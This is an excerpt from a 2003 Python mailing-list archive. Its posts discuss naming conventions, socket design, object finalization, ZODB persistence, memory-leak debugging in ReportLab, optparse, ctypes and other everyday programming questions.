programmer).  That annoyance at the article turned to 
real world frustration when trying to program for Win32.  
The idea of Hungarian notation as practiced by Microsoft 
is really _ugly_.  Interestingly enough, I always rail 
against Hungarian but actually found elegant the way
it was used in Motif.  Go figure...

> Hungarian notation is much less useful in Python than in 
> other languages

Interestingly enough, I have always mulled that some kind of
variable naming convention might solve the problem that Python
has of not being able to check for type-conformance of calls 
during compile time.  I could not come up with a solution that 
was compelling enough to adopt though.  And something like 
Pychecker, especially if and when incorporated into the compiler, 
might be the best way to solve to deal with the sort of problems
that Python has which which statically typed languages do not.



From andrew at indranet.co.nz  Thu Jan 30 08:28:29 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Fri, 31 Jan 2003 02:28:29 +1300
Subject: OO design and multiple local sockets
In-Reply-To: <20030130132335.GA13850@frobozz.local>
References: <26200000.1043930172@localhost.localdomain>
 <20030130132335.GA13850@frobozz.local>
Message-ID: <36060000.1043933309@localhost.localdomain>



--On Friday, January 31, 2003 00:23:35 +1100 Andrew Bennetts 
<andrew-pythonlist at puzzling.org> wrote:

> On Fri, Jan 31, 2003 at 01:36:12AM +1300, Andrew McGregor wrote:
>> I've got an awful case of writer's block on this one :-(
>>
>> Problem:  I'm writing an app (an implementation of HIP, see
>> www.hip4inter.net) that uses raw sockets in a big way.  It needs to bind
>> local sockets to each IP address on the system so it can transmit
>> packets  with each source address.  It also needs to know which address
>> packets were  received on, and from where.  So far, so good.  It's
>> threaded (pretty much  necessarily).  There are two pools of sockets for
>> two different protocols  that have to interact.
>>
>> Just the code for the protocol transforms and state machines is about 7k
>> lines, including tests, and works, but with only a single unbound local
>> socket, so some features I can't do yet.
>>
>> What I can't figure out is what a clean OO design for the socket
>> handling  looks like, managing the various queues and worker threads
>> without getting  really hairy.  Can anyone help?
>
> For OO design inspiration for socket programming, I suggest looking at
> Twisted <http://twistedmatrix.com/> -- although admittedly it is rather
> different to your design (being single-threaded asynchronous rather than
> multi-threaded).  In particular its Factory and Protocol classes may be of
> interest.
>
> In fact, I'd really tempted to use Twisted for this -- have you looked at
> it?  I've found it excels for writing servers that involve multiple
> protocols.
>
> (Not that being a developer of Twisted makes me biased or anything...)

It looks interesting, and I'd be perfectly happy to use the event model, 
especially since the HIP specs are more-or-less written that way.

However, I can't see how to convince Twisted to use a raw socket.  The 
second issue, less serious, is that some operations in the protocol can 
take several seconds of CPU time, which should ideally be done in the 
background wrt the fast actions of other connections; these can usually be 
done in a few milliseconds.  Mind you, threads don't solve that entirely 
either, because the GIL gets in the way.

Andrew

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030131/4ea39573/attachment.sig>

From grante at visi.com  Sat Jan 11 13:43:09 2003
From: grante at visi.com (Grant Edwards)
Date: 11 Jan 2003 18:43:09 GMT
Subject: Is it advisable to replace 'self' with '_' or 'I' or something shorter?
References: <f57664b9.0301110959.5b1439da@posting.google.com> <ThZT9.98$B62.32373@news.uswest.net>
Message-ID: <slrnb20pme.ptc.grante@localhost.localdomain>

In article <ThZT9.98$B62.32373 at news.uswest.net>, Kevin Altis wrote:

> The most common is probably 's'. However, it makes it more difficult for
> other people to read your source if don't use 'self', so it isn't advisable.
> You might consider binding a "macro" to type out "self." if typing the
> characters bothers you

I don't know about the OP, but I don't care about the typing.  That's NRE.
It's the reading that's a problem.  If you've expressions like

   (((a+b)/c)*(d-x))-y
   
they end up looking like

   (((self.a+self.b)/self.c)*(self.d-self.x))-self.y

I have a much easier time grokking the former.  In some cases you end up
with lines 100+ characters long instead of 20 or 30.

Using local variables helps...

-- 
Grant Edwards                   grante             Yow!  I want to kill
                                  at               everyone here with a cute
                               visi.com            colorful Hydrogen Bomb!!



From lac at strakt.com  Sun Jan 26 05:43:14 2003
From: lac at strakt.com (Laura Creighton)
Date: Sun, 26 Jan 2003 11:43:14 +0100
Subject: Sticky Notes, which GUI toolkit supports... 
In-Reply-To: Message from yaipa@yahoo.com (yaipa h.) 
   of "26 Jan 2003 00:43:11 PST." <6e07b825.0301260043.18231335@posting.google.com> 
References: <6e07b825.0301260043.18231335@posting.google.com> 
Message-ID: <200301261043.h0QAhEjL010057@ratthing-b246.strakt.com>

> All,
> 
> I would like to write a Sticky note application. So my question is
> which GUI toolkit, if any, supports the notion of an object being
> always on top.
> 
> One material note is that the toolkit must support Solaris as well as
> Linux and u$oft platforms.
> 
> Yaipa.h
> -- 
> http://mail.python.org/mailman/listinfo/python-list

This is not a question for the toolkit -- any gui has a way to say
'put me on top' but a question for your window manager.  As such it is
subject to whatever whims the user has.  Some users configure their
window managers so that whatever window has keyboard focus is always
on top.  Some users want to click on the frame before a window floats
to the top, and are happy to have windows with keyboard focus which are 
not on top.  Some users want keyboard focus to follow the mouse, and
some want to have to mouse click before keyboard focus moves regardless
of where their mouse pointer wanders all over the screen.

For a sticky note application, I would think that what you would want
is a window that is bound to another window, so that when people move
the window that has the sticky-note, the note goes with it, and is on
top of that window. Am I misunderstanding what you want to do?

Laura Creighton




From missedby2inches at gmx.net  Sat Jan 25 12:56:22 2003
From: missedby2inches at gmx.net (Two Inches)
Date: Sat, 25 Jan 2003 18:56:22 +0100
Subject: IDLE Python GUI
In-Reply-To: <3e32a1a6_4@corp.newsgroups.com>
References: <3e32a1a6_4@corp.newsgroups.com>
Message-ID: <b0uj2d$rcu$1@mamenchi.zrz.TU-Berlin.DE>

> Q.  What does the real Python community use for creating Python programs?

VIM is the only possible answer to this question. If I'd use emacs for 
developing I could as well stick with Perl as the programming language. 
Both are brain-crippling :-)




From cben at techunix.technion.ac.il  Wed Jan  8 12:36:16 2003
From: cben at techunix.technion.ac.il (Beni Cherniavsky)
Date: Wed, 8 Jan 2003 19:36:16 +0200
Subject: Python vs Java garbage collection?
In-Reply-To: <mailman.1041987317.14964.python-list@python.org>
References: <20030106213935.G17919@prim.han.de>
 <Pine.GSO.4.44_heb2.09.0301072327570.16059-100000@techunix.technion.ac.il>
 <mailman.1041987317.14964.python-list@python.org>
Message-ID: <Pine.GSO.4.44_heb2.09.0301081822350.14786-100000@techunix.technion.ac.il>

On 2003-01-08, holger krekel wrote:

> Beni Cherniavsky wrote:
> > On 2003-01-06, holger krekel wrote:
> >
> > > Beni Cherniavsky wrote:
> > > > I think this is a technical question: is it possible in CPython and Jython
> > > > to mutate an existing object's class, to mark it as dead?If yes, then a
> > > > facility to explicitly force a __del__ if any (and fry the object so it
> > > > can't be used any more) would be a solution for writing portable code:
> > > >
> > > > x = acquire()
> > > > try:
> > > >     do_something(x)
> > > > finally:
> > > >     finalize(x)
> > >
> > > why is this better than the traditional e.g.
> > >
> > > lock.acquire()
> > > try:
> > >     do_critical_work()
> > > finally:
> > >     lock.release()
> > >
> > Err, emmm, aah, Good Question. :-)
> >
> > More seriously, it allows one to always call the destructor __del__
> > without knowing in advance whether the user will be happy with relying on
> > automatic finalization or will destroy it excplicitly.In particular,
> > suppose I write a module and it relies on __del__; now somebody wants to
> > use it in Jython and/or in some context I didn't envision that requires
> > explicit finalization at some predictable time.Currently, he has no way
> > short of changin my module and redesigning the interface.I don't think
> > there is currently a good way to "fry" an object before its time from pure
> > Python, so calling __del__ manually is problematic.
>
> Right, this is problematic.
>
> Regarding your module, If you have something like:
>
>   def f():
>       data = open(source).read()
>
> then it is hard to finalize thefile from the outside.
> We don't even have a name to refer to.
>
True.  I'm not sure to what you are relating from what I said.

> > Also, since I never saw a resources that can be destroyed in more than one
> > way <wink>, it makes some sense to have a single name agreed name for it.
> > Sometimes, it could allow writing generic code that releases a resource
> > without knowing what it is exactly.For example, in a related thread some
> > time ago I proposed that the for loop should finalize the iterator (with
> > finally-like guarantee.
>
> Hmmm.Care to give a concrete example?
>
The idea had to do with allowing yield in try..finally (there are various
reasons to want that).  Now, a generator is quite helpless, once it
yields, so the finally clasuse can't be guaranteed to execute completely.
It can be guaranteed on __del__ but than the code relying on it would
usually be no good in Jython.  This makes promising it to be run on
__del__ a bad design decision for Python (notice that currently you can
choose to depend on ref-counting or not but nothing else in the language
design assumes that you can; otherwise the Jython implementors would have
a hard time following).  Therefore idea was that generators should have a
finalization method to be called, at least in Jython, in predictable
places.  In particular, since the for loop doesn't expose the iterator it
creates, the loop itself should be responsible for calling this method.
As Isaid that would break when you already pass an iterator, so the idea
doesn't work out.

> > In CPython, it already happens (__del__ is called) and in Jython this
> > would need to be coded.  It can't quite work that way because people
> > sometimes give pre-existing iterators to for, expecting them to remain
> > alive.  Still, it shows the idea: an API that creates user objects
> > without exposing it, has known lifetime for the object but gives the
> > user no way to finilize explicitly, so it makes very much sense for
> > the API to guarantee this finilization.Currently you cannot implement
> > such a guarantee under Jython; with the added builtin, you can.
>
> I am not so sure how (and why) something like a 'finalize' builtin could be
> made to work.

By calling __del__ if, breaking any poionters in the objects to other
objects and directly changing the type pointer (or whatever Jython has) to
some "FriedObejctType".  I'm not sure that it's technically feasible,
though, especially on Jython.

> I don't have the situation often where i don't know how to finalize a
> resource.
>
The intended situatuin is when you do know how the resource should be
finilized - by deallocation, hence invoking __del__ - but you can't use
that route because you it done *now* and run on Jython.  The idea is to
allow code to rely on __del__, without making it useless on Jython.  Also
it allows to amend an API that originally was happy with implicit
fininaliztion but suddenly needs timely predicatable finalization in some
specific cases, with minimal pain (without having to choose some name
different from __del__).

Of course all this depends on whether such "frying" of objects before
their time is possible.

-- 
Beni Cherniavsky <cben at tx.technion.ac.il>




From phr-n2002b at NOSPAMnightsong.com  Wed Jan  1 09:17:55 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 01 Jan 2003 06:17:55 -0800
Subject: PEP 303: Extend divmod() for Multiple Divisors
References: <ausiq8$egi$1@news.island.liu.se> <v15om11f5lfr50@news.supernews.com>
Message-ID: <7xwulpuf70.fsf@ruckus.brouhaha.com>

"John Roth" <johnroth at ameritech.net> writes:
> I want to object to this one strongly, on the basis that it is
> a special case of something that, if it's useful at all, should
> be generalized to include all of the operators.

Not a bad idea.  There's no reason for operator.plus(3,4,5) to
throw an exception instead of returning 12.

> Erik Mac Francis' comment about the APL encode operator
> sounds about right, although I'd much prefer that thinking
> go in the direction of functional languages.
 
> As far as the nuts and bolts go, the operand should be
> a sequence, not simply strung out as operands. There are
> several reasons for this, but the major one is consistency:
> if the result is a list, then the input operand should also be
> a list.

That makes no sense.  Imagine a function that returns the
factorization of a number, e.g. the factors of 30 are 2, 3, and 5. 
It's natural and obvious for factor(30) to return the list (3,4,5).
Why on earth should its argument be a list?




From cuniREMOVE_THIS at programmazione.it  Fri Jan 10 13:09:39 2003
From: cuniREMOVE_THIS at programmazione.it (Antonio Cuni)
Date: Fri, 10 Jan 2003 18:09:39 +0000
Subject: tkinter: Passing arguments when binding keys to functions
References: <72pkva.lsr.ln@boundary.tundraware.com>
Message-ID: <392nva.574.ln@anto.cuni.lan>

Tim Daneliuk wrote:

> for x in range(len(array)):
> y = array[x]
> widget.bind('<F' + str(x+1) + '>', lambda arg=y : CommonHandler(arg))
> 
> Is this general approach valid?

I usually use something like this:

def make_handler(arg)
    def handler():
        print arg
    return handler

widget.bind('<F1>', make_handler(arg))

I think it's clearer than his lambda cousin, but they should be 
equivalent.

ciao Anto
-- 
"Computer science is not about computers any more than astronomy
is about telescopes." -- EW Dijkstra



From zopestoller at thomas-guettler.de  Thu Jan  9 07:58:49 2003
From: zopestoller at thomas-guettler.de (Thomas Guettler)
Date: Thu, 09 Jan 2003 13:58:49 +0100
Subject: ZODB: don't like self._p_changed
References: <avjfop$tmb$00$1@news.t-online.com> <3E1D4756.7040406@mxm.dk> <avjj10$oe7$03$1@news.t-online.com> <DVdT9.32468$Hl6.3351656@news010.worldonline.dk>
Message-ID: <avjrhb$heh$04$1@news.t-online.com>

Max M schrieb:
> Thomas Guettler wrote:
> 
>> Max M schrieb:
> 
> 
>>> Probably not. How should an object know if a mutable subobject has 
>>> been changed?
>>
>>
>> The method "append" could set the flag.
> 
> 
> Then you would need to use specialized objects instead of the built in 
> objects. That would shurely be more cumbersome than setting the 
> persistence flag?

Yes, there a classes like PersistentList and PersistentMapping, but
this means I need to change my code.

Example:

my_list=PersistentList()
my_list.append(...)

my_list=some_other_list[1:] # now my_list is no more a persistent list

This means, I always need to keep in mind if a list is a peristent list
or not. That's like setting _p_changed=1.

1. Solution:

One solution could be to change the meaning of [] and {}.
Dreaming:

import list_persistance
foo=[] # foo is now a persistent list.

I don't know if this is possible.


2. Solution:
Change the functions of list and mapping datatypes to set _p_changed if 
the content was changed. This might decrease performance for 
nonpersistent application. But since there changes need to be 
implemented in the python core, they would be in C.

thomas




From pedronis at bluewin.ch  Fri Jan 10 16:02:39 2003
From: pedronis at bluewin.ch (Samuele Pedroni)
Date: Fri, 10 Jan 2003 22:02:39 +0100
Subject: generator language design
References: <avnbsv$8lp$1@camelot.ccs.neu.edu>
Message-ID: <3e1f35ce$1_3@news.bluewin.ch>

"Johan Ovlinger" <johan at ccs.neu.edu> ha scritto nel messaggio
news:avnbsv$8lp$1 at camelot.ccs.neu.edu...
> 3)  I'm sure 2 was chosen instead of good reason.
>
> Links to the rationale of point 3 would be much appreciated

see http://www.python.org/peps/pep-0255.html

in particular in Q&A:

Q. Why a new keyword for "yield"?  Why not a builtin function instead?


regards.





From robin at jessikat.fsnet.co.uk  Sat Jan  4 09:05:32 2003
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Sat, 4 Jan 2003 14:05:32 +0000
Subject: Leakage vs Cyclops
References: <KfdTAjAXSbF+EwYH@jessikat.demon.co.uk>
 <m3vg16nf4s.fsf@mira.informatik.hu-berlin.de>
Message-ID: <6aTPhIAsouF+EwOI@jessikat.fsnet.co.uk>

In article <m3vg16nf4s.fsf at mira.informatik.hu-berlin.de>,
 Martin v. L?wis <martin at v.loewis.de> writes
>Robin Becker <robin at jessikat.fsnet.co.uk> writes:
..... following your suggestion I used code below which attempts
to count everything and uses len, marshal, cPickle to try and size
everything.

I used python -v to run the test script to produce 400 & 500 pages.
The output does not show increases in gc visible objects.
The gc_check for 400 produces the same output as for 500 ie I see stability
in gc visible objects.

Even so I still see differences in the freed floats
(from the -v option cleanup output). Interestingly I see no floats
mentioned in the output of gc_check. I assume they're all in containers. 
case 400
# cleanup floats: 4544 unfreed floats in 74 out of 74 blocks
case 500
# cleanup floats: 5544 unfreed floats in 90 out of 90 blocks

Is there any way to get more information about the 'unfreed' things
mentioned by the cleanup?

##########################################
import gc, marshal, cPickle
from types import InstanceType
def gc_check(quiet=0):
    if quiet: return
    print 'Number collected:',gc.collect(),'Length of garbage:',len(gc.garbage)
    O = gc.get_objects()
    print 'Number of objects:', len(O)
    D = {}
    L = {}
    M = {}
    P = {}
    for o in O:
        t = type(o)
        if t is InstanceType:
            name = '<class %s>' % o.__class__.__name__
            if not D.has_key(name): D[name] = 1
            else: D[name] += 1
        else:
            name = t.__name__
            if not D.has_key(name): D[name] = 1
            else: D[name] += 1
        try:
            L[name] = L.get(name,0)+len(o)
        except:
            pass
        try:
            M[name] = M.get(name,0)+len(marshal.dumps(o))
        except:
            pass
        try:
            P[name] = P.get(name,0)+len(cPickle.dumps(o))
        except:
            pass
    K = D.keys()
    K.sort()
    print 'Objects:'
    for k in K:
        print '',k,D[k],L.get(k,'?'),M.get(k,'?'),P.get(k,'?')

from reportlab.lib.styles import ParagraphStyle
from reportlab.platypus import *
def main(n,quiet):
    story = []
    i = 0
    for x in xrange(n):
        i = i + 1
        story.append(Paragraph(str(i),ParagraphStyle('normal')))
        story.append(PageBreak())
        if i % 100==0:
            fn = "test_%04d.pdf" % i
            SimpleDocTemplate(fn).build(story)
            print 'Build',fn
            story = []
            gc_check(quiet)
    if story:
        fn = "test_%04d.pdf"%i
        SimpleDocTemplate(fn).build(story)
        print 'Build',fn
        story = []
        gc_check(quiet)

if __name__=='__main__':
    import sys
    quiet = '-q' in sys.argv
    if quiet: sys.argv.remove('-q')
    try:
        n = int(sys.argv[1])
    except:
        n = 400
    main(n,quiet)
    gc_check(quiet)
##########################################

Last iterations of output.

Build test_0400.pdf
Number collected: 21 Length of garbage: 0
Number of objects: 6741
Objects:
 <class ActionFlowable> 1 ? ? 93
 <class CMYKColor> 2 ? ? 418
 <class Color> 143 ? ? 17859
 <class Encoding> 1 ? ? 3089
 <class Font> 2 ? ? 17592
 <class Logger> 1 ? ? ?
 <class MemoryError> 1 ? ? 52
 <class NoEncryption> 2 ? ? 100
 <class PCMYKColor> 2 ? ? 420
 <class PDFStreamFilterBase85Encode> 1 ? ? 65
 <class PDFStreamFilterZCompress> 1 ? ? 62
 <class ParaParser> 1 ? ? ?
 <class Sequencer> 1 ? ? 255
 <class TableStyle> 5 ? ? 1977
 <class TypeFace> 2 ? ? 11888
 <class WarnOnce> 2 ? ? 202
 <class _Environ> 1 36 ? 2282
 <class _Feature> 3 ? ? 438
 <class _FrameBreak> 1 ? ? 89
 <class _Helper> 1 ? ? 25
 <class _Name2StandardEncodingMap> 1 7 ? 14599
 <class _Printer> 3 ? ? 1108
 <class _ThreadSafeCounter> 1 ? ? ?
 class 167 ? 1 6231
 dict 595 14011 305269 388256
 frame 3 ? ? ?
 function 1053 ? ? 9223
 getset_descriptor 18 ? ? ?
 instance method 19 ? ? ?
 list 94 1442 12843 17399
 member_descriptor 91 ? ? ?
 method_descriptor 112 ? ? ?
 module 77 ? ? ?
 tuple 3897 21737 299169 331236
 weakref 37 ? ? ?
 wrapper_descriptor 399 ? ? ?
Build test_0500.pdf
Number collected: 21 Length of garbage: 0
Number of objects: 6741
Objects:
 <class ActionFlowable> 1 ? ? 93
 <class CMYKColor> 2 ? ? 418
 <class Color> 143 ? ? 17859
 <class Encoding> 1 ? ? 3089
 <class Font> 2 ? ? 17592
 <class Logger> 1 ? ? ?
 <class MemoryError> 1 ? ? 52
 <class NoEncryption> 2 ? ? 100
 <class PCMYKColor> 2 ? ? 420
 <class PDFStreamFilterBase85Encode> 1 ? ? 65
 <class PDFStreamFilterZCompress> 1 ? ? 62
 <class ParaParser> 1 ? ? ?
 <class Sequencer> 1 ? ? 255
 <class TableStyle> 5 ? ? 1977
 <class TypeFace> 2 ? ? 11888
 <class WarnOnce> 2 ? ? 202
 <class _Environ> 1 36 ? 2282
 <class _Feature> 3 ? ? 438
 <class _FrameBreak> 1 ? ? 89
 <class _Helper> 1 ? ? 25
 <class _Name2StandardEncodingMap> 1 7 ? 14599
 <class _Printer> 3 ? ? 1108
 <class _ThreadSafeCounter> 1 ? ? ?
 class 167 ? 1 6231
 dict 595 14011 305269 388256
 frame 3 ? ? ?
 function 1053 ? ? 9223
 getset_descriptor 18 ? ? ?
 instance method 19 ? ? ?
 list 94 1442 12843 17399
 member_descriptor 91 ? ? ?
 method_descriptor 112 ? ? ?
 module 77 ? ? ?
 tuple 3897 21737 299169 331236
 weakref 37 ? ? ?
 wrapper_descriptor 399 ? ? ?
Number collected: 9 Length of garbage: 0
Number of objects: 6739
Objects:
 <class ActionFlowable> 1 ? ? 93
 <class CMYKColor> 2 ? ? 418
 <class Color> 143 ? ? 17859
 <class Encoding> 1 ? ? 3089
 <class Font> 2 ? ? 17592
 <class Logger> 1 ? ? ?
 <class MemoryError> 1 ? ? 52
 <class NoEncryption> 2 ? ? 100
 <class PCMYKColor> 2 ? ? 420
 <class PDFStreamFilterBase85Encode> 1 ? ? 65
 <class PDFStreamFilterZCompress> 1 ? ? 62
 <class ParaParser> 1 ? ? ?
 <class Sequencer> 1 ? ? 255
 <class TableStyle> 5 ? ? 1977
 <class TypeFace> 2 ? ? 11888
 <class WarnOnce> 2 ? ? 202
 <class _Environ> 1 36 ? 2282
 <class _Feature> 3 ? ? 438
 <class _FrameBreak> 1 ? ? 89
 <class _Helper> 1 ? ? 25
 <class _Name2StandardEncodingMap> 1 7 ? 14599
 <class _Printer> 3 ? ? 1108
 <class _ThreadSafeCounter> 1 ? ? ?
 class 167 ? 1 6231
 dict 595 14011 305269 388256
 frame 2 ? ? ?
 function 1053 ? ? 9223
 getset_descriptor 18 ? ? ?
 instance method 19 ? ? ?
 list 93 1442 12838 17393
 member_descriptor 91 ? ? ?
 method_descriptor 112 ? ? ?
 module 77 ? ? ?
 tuple 3897 21737 299169 331236
 weakref 37 ? ? ?
 wrapper_descriptor 399 ? ? ?

-- 
Robin Becker



From imiten at yahoo.com  Mon Jan  6 20:20:07 2003
From: imiten at yahoo.com (X3)
Date: 6 Jan 2003 17:20:07 -0800
Subject: python 2.2.2 on hpux11.0
Message-ID: <461d4acb.0301061720.fe0bcfd@posting.google.com>

Hello,

I did fresh install on hpux 11.00 (typical install).  I then tried
installing python 2.2.2 and it gave errors in make.  Actually during
configure it has many "no" output.

could one guide how to proceed?

If you need any information please email me at 
imiten at yahoo.com

Thanks.



From donn at u.washington.edu  Wed Jan 29 14:42:25 2003
From: donn at u.washington.edu (Donn Cave)
Date: 29 Jan 2003 19:42:25 GMT
Subject: Getting return value in os.system rsh call
References: <48633651.0301291033.6f6afeb6@posting.google.com>
Message-ID: <b19ar1$1ups$1@nntp6.u.washington.edu>

Quoth migmog99 at hotmail.com (Andrew):
| I'm writing a test script which kicks off tests on remote machines,
| and I need to get the return code from the remote test in my main
| program.
|
| the relevent bit is
|
| os.system("rsh remote test.py")
|
| How can I get the return value of test.py?
|
| any ideas?

Depends.  In what sense does test.py have a return value?  Do you
mean its exit status?

The only thing you can get back from rsh is output, for which you'll
need popen() instead of system().  If you want the exit status, that
will have to be converted to output on the remote side ... like,
   "rsh remote -n 'test.py; echo exit status $?'"

("-n" means don't consume input.  rsh supports I/O both ways, but
can't tell if it's going to be used, so it will take a buffer full
if it can get it.  That can cause problems in a batch context.)

	Donn Cave, donn at u.washington.edu



From robin at jessikat.fsnet.co.uk  Tue Jan  7 14:26:16 2003
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Tue, 7 Jan 2003 19:26:16 +0000
Subject: "%s" vs unicode
Message-ID: <1GtMGLAYnyG+Ew34@jessikat.demon.co.uk>

A user reports that an old style error message is being smashed as the
message was being turned into unicode.

the situation was of the form

raise "xxxx %s' % var

where var was a lump of unicode. We can easily correct the sistuation.

We didn't expect unicode, but what's surprising is that "%s" % u'A' -->
u'A'.

Doesn't %s mean take the str()?

I looked in vain in the docs for the definition of exactly what "%s" % x
is supposed to mean, but somehow this kind of reminds me of the old /
operator dispute ie int / int --> int & int / float --> float.

That was considered harmful (although I disagreed) so why is this
implicit conversion allowed? 
-- 
Robin Becker



From donn at drizzle.com  Tue Jan  7 02:35:24 2003
From: donn at drizzle.com (Donn Cave)
Date: Tue, 07 Jan 2003 07:35:24 -0000
Subject: Why does this not work?
References: <2355358.1041918087@dbforums.com>
Message-ID: <1041924922.711608@yasure>

Quoth Tetsuo <member16943 at dbforums.com>:
|
| You know you suck if the calculator you are making isn't required to add
| 2 and 2, and you still can't get it to work.
|
| s = 0
| c = 0
| def halfadder(a, b):
|     if a and b in (0, 1):
|         if a and b == 1:
|             s = 1
|             c = 0
|             print s, c

You know that
     if a and b in (0, 1):
     if a and b == 1:
are  different than
     if a in (0, 1) and b in (0, 1):
     if a == 1 and b == 1:

	Donn Cave, donn at drizzle.com



From theller at python.net  Fri Jan 24 13:51:19 2003
From: theller at python.net (Thomas Heller)
Date: 24 Jan 2003 19:51:19 +0100
Subject: ctypes news
Message-ID: <65sepejc.fsf@python.net>

Here are some news on the ctypes module:

Development has has moved to Sourceforge
   http://sourceforge.net/projects/ctypes/

Bug tracker, patches, CVS repository.

The CVS version works under Linux, MacOS X, and Windows.  I'm
routinely running the tests which are currently written under Linux
and Windows 2000.

Just van Rossum had submitted the patch for the Mac.  There's a
version 0.3.5, together with the patch and a snapshot of libff if
anyone wants to try it out.

If you're using Windows, there is no need to update to this version.

New web pages (but not much new content, the docs still have to be
updated).

----

I'm actively working on it right now: writing tests to shake out all
the little bugs (there are lots of them, although noone has complained
about them), and fixing them on the fly.

I think I'm halfway through the fixing.

There's a *ctypes-users* mailing list now, although I'm currently the
only subscriber ;-).  I'm not sure it will be useful, I created it
just in case.

The list-info page is at
  http://lists.sourceforge.net/lists/listinfo/ctypes-users

Here you can subscribe, unsubscribe, change your options,
and view the list archive.

Thomas




From michalszabelski at o2.pl  Thu Jan  2 19:10:20 2003
From: michalszabelski at o2.pl (Michal Szabelski)
Date: Thu, 2 Jan 2003 19:10:20
Subject: =?iso-8859-2?Q?Embedded=20Python=20-=20how=20do=20I=20implement=20a=20Python=20class=20in=20C++??=
Message-ID: <20030102181020.7486B6EEA5@rekin.go2.pl>

Hello. 

I'm embedding Python in C++. I already know how to define modules, 
pass PyCObjects, define my own type with methods by implementing 
getattr and getattro functions (I use PyCFunction_New to make 
objects these functions return). This type is class-like, it has 
methods, and a pointer to C++ class instance. But I'd like to 
implement a full blown, inheritable (and/or inheriting) Python class 
in C++. 
In the includes I found PyClass_New and PyMethod_New, but I can't 
guess what arguments they take (these 3 PyObject pointers). 
In wxPython I found that they use SWIG somehow - I don't know how 
to use it. 
If it makes any difference - I do the embedding under Windows. 

How do I call PyClass_New and PyMethod_New?
Or, alternatively:
How do I use SWIG?

Michal Szabelski 





From mlh at furu.idi.ntnu.no  Wed Jan 22 21:49:28 2003
From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland)
Date: Thu, 23 Jan 2003 02:49:28 +0000 (UTC)
Subject: Interleaved commands and options with optparse?
References: <slrnb2ul32.b0e.mlh@furu.idi.ntnu.no>
Message-ID: <slrnb2um1o.bp7.mlh@furu.idi.ntnu.no>

In article <slrnb2ul32.b0e.mlh at furu.idi.ntnu.no>, Magnus Lie Hetland wrote:
>I really love Optik/optparse -- it's a dream to use compared to
>getopt, IMO. Hooray!
>
>Now... I'd like to interleave "commands" (i.e. simple arguments) with
>my options, as in, e.g., cvs (or distutils, for that matter). For
>example:
>
>  python myscript.py --globaloption command --commandoption

It seems that one way of doing this sort of thing would be to
use callbacks for the options, and to inspect parser.largs to see if
it contains the relevant command (probably checking the value of
parser.largs[-1]). Would that be the most straightforward approach
here? (It would seem useful to have some sort of callback support for
the commands themselves, though -- what if I use a command with no
options? Hm.)

-- 
Magnus Lie Hetland
http://hetland.org



From maney at pobox.com  Mon Jan 20 02:56:48 2003
From: maney at pobox.com (Martin Maney)
Date: Mon, 20 Jan 2003 07:56:48 +0000 (UTC)
Subject: list_to_dict()
References: <b06i9j$art$1@wheel2.two14.net> <mailman.1042735479.28310.python-list@python.org> <b06v5g$auj$2@wheel2.two14.net> <13a533e8.0301170008.34cd26ba@posting.google.com> <b0aggh$e7m$4@wheel2.two14.net> <13a533e8.0301181149.493fde87@posting.google.com>
Message-ID: <b0ga40$nr8$1@wheel2.two14.net>

Peter Abel <p-abel at t-online.de> wrote:
>>>> def myzip(keys,values):
> ....    res={}
> ....    map(lambda x,y:res.setdefault(x,y),keys,values)
> ....    return res
> 
>   And I think it goes with python 2.1. or earlier.
>   A little time_test(number_of_keys) - function which generates
>   simple 5-random-letters-keys and a value-list as range(number_of_keys)
>   will show an increase in speed.
>>>> time_test(50000)
> dzip  :  0.28100001812
> myzip :  0.140999913216
>>>> time_test(500000)
> dzip  :  3.31200003624
> myzip :  1.59399998188

That's odd.  When I dropped the map(...) code into my simple test, it
was the worst performer at all sizes.  :-(

Oh, wait - are you testing building single dictionaries with 50K keys? 
My largest test is with 1000 keys per dictionary, and the results that
actually matter would with perhaps 5 to 10 keys.  Try building a dict
of 10 items 5K times instead.  Not that the trend I see at 1000
keys/dict and below makes the numbers you reported seem likely even
so...

Building dicts of 5 items 40000 times (CPU time per Kdict):
        traditional: 0.0190
traditional inlined: 0.0162
          dict(zip): 0.0255
  inlined dict(zip): 0.0223
                map: 0.0337
        inlined map: 0.0302
Building dicts of 10 items 20000 times (CPU time per Kdict):
        traditional: 0.0285
traditional inlined: 0.0260
          dict(zip): 0.0320
  inlined dict(zip): 0.0295
                map: 0.0535
        inlined map: 0.0500
Building dicts of 100 items 4000 times (CPU time per Kdict):
        traditional: 0.2000
traditional inlined: 0.2025
          dict(zip): 0.1650
  inlined dict(zip): 0.1600
                map: 0.4125
        inlined map: 0.4100
Building dicts of 1000 items 400 times (CPU time per Kdict):
        traditional: 2.0500
traditional inlined: 2.0500
          dict(zip): 1.5750
  inlined dict(zip): 1.5500
                map: 3.9000
        inlined map: 4.0750

The changes in the total numbers of keys inserted was done to keep the
overall running times about the same - between two and three seconds
on the P2/233 I originally did this on.  As you can see, I've since
changed the format to report the time per 1000 dictionaries to make the
shape of the scaling apparent.

The "inlined" versions simply place the body of the functions into the
body of the test loop, of course.  I can't now recall why I called the
dzip() code "traditional", unless it was just that that's what I have
been using in a couple of projects.




From Kyler at news.Lairds.org  Fri Jan 10 16:07:39 2003
From: Kyler at news.Lairds.org (Kyler Laird)
Date: Fri, 10 Jan 2003 21:07:39 GMT
Subject: How do I get to *all* of the groups of an re search?
References: <sl51f-6dj.ln1@news.lairds.org> <v1titmb0454v58@corp.supernews.com> <oe23f-ta3.ln1@news.lairds.org> <v1tq06bo2mjg14@corp.supernews.com>
Message-ID: <qol3f-p27.ln1@news.lairds.org>

claird at lairds.com (Cameron Laird) writes:

>1.  Harvey Thomas, in a nearby follow-up (how're
>    gateway propagation delays today?) has sum-
>    marized the main point far more aptly than 
>    anything I wrote:  "You can't return a vari-
>    able number of groups from a regex." (but 
>    can Perl people?  They apparently tried to
>    cram cement mixers, kitchen toasters, and
>    turbojets inside their REs, so, who knows?)

I'm not asking for a variable number of groups.  That would
be awkward and confusing.  I'd be quite happy with a group
being a list when it's appropriate.

As it is, I am resigned to understanding that Python's re
module makes an arbitrary and undocumented decision to return
the last instance of a match for a group.  I'm embarrassed.

At the very least, the documentation should be changed to say
